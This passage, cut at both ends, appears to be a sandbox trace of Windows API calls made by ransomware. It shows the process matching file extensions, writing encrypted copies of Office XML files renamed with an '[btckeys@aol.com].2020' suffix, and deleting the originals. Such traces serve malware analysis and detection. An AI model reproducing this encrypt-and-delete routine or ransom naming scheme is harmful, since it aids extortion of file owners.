(lpString1=".bz2", lpString2=".XML") returned -1 [0074.426] lstrlenW (lpString=".7z") returned 3 [0074.426] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0074.426] lstrlenW (lpString=".dbf") returned 4 [0074.426] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0074.426] lstrlenW (lpString=".1cd") returned 4 [0074.426] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0074.426] lstrlenW (lpString=".jpg") returned 4 [0074.426] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0074.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0074.426] lstrlenW (lpString=".doc") returned 4 [0074.426] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.426] lstrlenW (lpString=".docx") returned 5 [0074.426] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0074.427] lstrlenW (lpString=".pdf") returned 4 [0074.427] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.427] lstrlenW (lpString=".xls") returned 4 [0074.427] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.427] lstrlenW (lpString=".xlsx") returned 5 [0074.427] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0074.427] lstrlenW (lpString=".ppt") returned 4 [0074.427] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0074.427] lstrlenW (lpString=".zip") returned 4 [0074.427] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.427] lstrlenW (lpString=".rar") returned 4 [0074.427] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.427] lstrlenW (lpString=".bz2") returned 4 [0074.427] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.427] lstrlenW (lpString=".7z") returned 3 [0074.427] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0074.427] lstrlenW (lpString=".dbf") returned 4 [0074.427] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0074.427] lstrlenW (lpString=".1cd") returned 4 [0074.427] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0074.427] lstrlenW (lpString=".jpg") returned 4 [0074.427] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.428] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0074.428] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0074.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0074.428] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=1450) returned 1 [0074.428] CloseHandle (hObject=0x204) returned 1 [0074.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0074.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0074.429] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.429] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0074.430] GetLastError () returned 0x0 [0074.430] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x5aa, lpOverlapped=0x0) returned 1 [0074.443] WriteFile (in: hFile=0x174, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0074.445] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0074.445] WriteFile (in: hFile=0x174, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xf6, lpOverlapped=0x0) returned 1 [0074.445] SetEndOfFile (hFile=0x174) returned 1 [0074.445] CloseHandle (hObject=0x174) returned 1 [0074.448] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.448] SetEndOfFile (hFile=0x204) returned 1 [0074.448] CloseHandle (hObject=0x204) returned 1 [0074.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0074.449] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0074.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0074.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0074.449] lstrlenW (lpString=".doc") returned 4 [0074.449] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.449] lstrlenW (lpString=".docx") returned 5 [0074.449] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0074.449] lstrlenW (lpString=".pdf") returned 4 [0074.449] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.449] lstrlenW (lpString=".xls") returned 4 [0074.449] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.449] lstrlenW (lpString=".xlsx") returned 5 [0074.449] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0074.449] lstrlenW (lpString=".ppt") returned 4 [0074.449] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0074.449] lstrlenW (lpString=".zip") returned 4 [0074.450] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.450] lstrlenW (lpString=".rar") returned 4 [0074.450] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.450] lstrlenW (lpString=".bz2") returned 4 [0074.450] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.450] lstrlenW (lpString=".7z") returned 3 [0074.450] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0074.450] lstrlenW (lpString=".dbf") returned 4 [0074.450] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0074.450] lstrlenW (lpString=".1cd") returned 4 [0074.450] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0074.450] lstrlenW (lpString=".jpg") returned 4 [0074.450] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0074.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0074.450] lstrlenW (lpString=".doc") returned 4 [0074.450] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.450] lstrlenW (lpString=".docx") returned 5 [0074.450] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0074.450] lstrlenW (lpString=".pdf") returned 4 [0074.450] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.450] lstrlenW (lpString=".xls") returned 4 [0074.450] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.450] lstrlenW (lpString=".xlsx") returned 5 [0074.451] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0074.451] lstrlenW (lpString=".ppt") returned 4 [0074.451] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0074.451] lstrlenW (lpString=".zip") returned 4 [0074.451] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.451] lstrlenW (lpString=".rar") returned 4 [0074.451] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.451] lstrlenW (lpString=".bz2") returned 4 [0074.451] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.451] lstrlenW (lpString=".7z") returned 3 [0074.451] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0074.451] lstrlenW (lpString=".dbf") returned 4 [0074.451] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0074.451] lstrlenW (lpString=".1cd") returned 4 [0074.451] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0074.451] lstrlenW (lpString=".jpg") returned 4 [0074.451] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.451] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0074.451] lstrlenW (lpString="SETUP.XML") returned 9 [0074.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0074.733] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=1886) returned 1 [0074.733] CloseHandle (hObject=0x1d4) returned 1 [0074.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0074.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0074.734] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.734] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0074.734] GetLastError () returned 0x0 [0074.734] ReadFile (in: hFile=0x1d4, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x75e, lpOverlapped=0x0) returned 1 [0074.889] WriteFile (in: hFile=0x168, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x760, lpOverlapped=0x0) returned 1 [0074.890] ReadFile (in: hFile=0x1d4, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0074.890] WriteFile (in: hFile=0x168, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0074.890] SetEndOfFile (hFile=0x168) returned 1 [0074.890] CloseHandle (hObject=0x168) returned 1 [0074.891] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.891] SetEndOfFile (hFile=0x1d4) returned 1 [0074.892] CloseHandle (hObject=0x1d4) returned 1 [0074.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0074.893] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0074.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0074.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0074.893] lstrlenW (lpString=".doc") returned 4 [0074.894] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.894] lstrlenW (lpString=".docx") returned 5 [0074.894] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0074.894] lstrlenW (lpString=".pdf") returned 4 [0074.894] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.894] lstrlenW (lpString=".xls") returned 4 [0074.894] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.894] lstrlenW (lpString=".xlsx") returned 5 [0074.894] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0074.894] lstrlenW (lpString=".ppt") returned 4 [0074.894] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0074.894] lstrlenW (lpString=".zip") returned 4 [0074.894] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.894] lstrlenW (lpString=".rar") returned 4 [0074.894] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.894] lstrlenW (lpString=".bz2") returned 4 [0074.894] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.894] lstrlenW (lpString=".7z") returned 3 [0074.894] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0074.894] lstrlenW (lpString=".dbf") returned 4 [0074.894] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0074.894] lstrlenW (lpString=".1cd") returned 4 [0074.894] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0074.894] lstrlenW (lpString=".jpg") returned 4 [0074.895] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0074.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0074.895] lstrlenW (lpString=".doc") returned 4 [0074.895] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.895] lstrlenW (lpString=".docx") returned 5 [0074.895] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0074.895] lstrlenW (lpString=".pdf") returned 4 [0074.895] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.895] lstrlenW (lpString=".xls") returned 4 [0074.895] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.895] lstrlenW (lpString=".xlsx") returned 5 [0074.895] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0074.895] lstrlenW (lpString=".ppt") returned 4 [0074.895] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0074.895] lstrlenW (lpString=".zip") returned 4 [0074.895] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.895] lstrlenW (lpString=".rar") returned 4 [0074.895] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.895] lstrlenW (lpString=".bz2") returned 4 [0074.895] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.895] lstrlenW (lpString=".7z") returned 3 [0074.895] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0074.895] lstrlenW (lpString=".dbf") returned 4 [0074.895] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0074.896] lstrlenW (lpString=".1cd") returned 4 [0074.896] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0074.896] lstrlenW (lpString=".jpg") returned 4 [0074.896] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.896] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0074.896] lstrlenW (lpString="Proof.XML") returned 9 [0074.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0074.940] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=1457) returned 1 [0074.940] CloseHandle (hObject=0x168) returned 1 [0074.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0074.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0074.940] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.940] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.941] GetLastError () returned 0x0 [0074.941] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x5b1, lpOverlapped=0x0) returned 1 [0075.008] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0075.009] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0075.009] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0075.010] SetEndOfFile (hFile=0x1fc) returned 1 [0075.010] CloseHandle (hObject=0x1fc) returned 1 [0075.021] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.021] SetEndOfFile (hFile=0x168) returned 1 [0075.022] CloseHandle (hObject=0x168) returned 1 [0075.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.022] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0075.023] lstrlenW 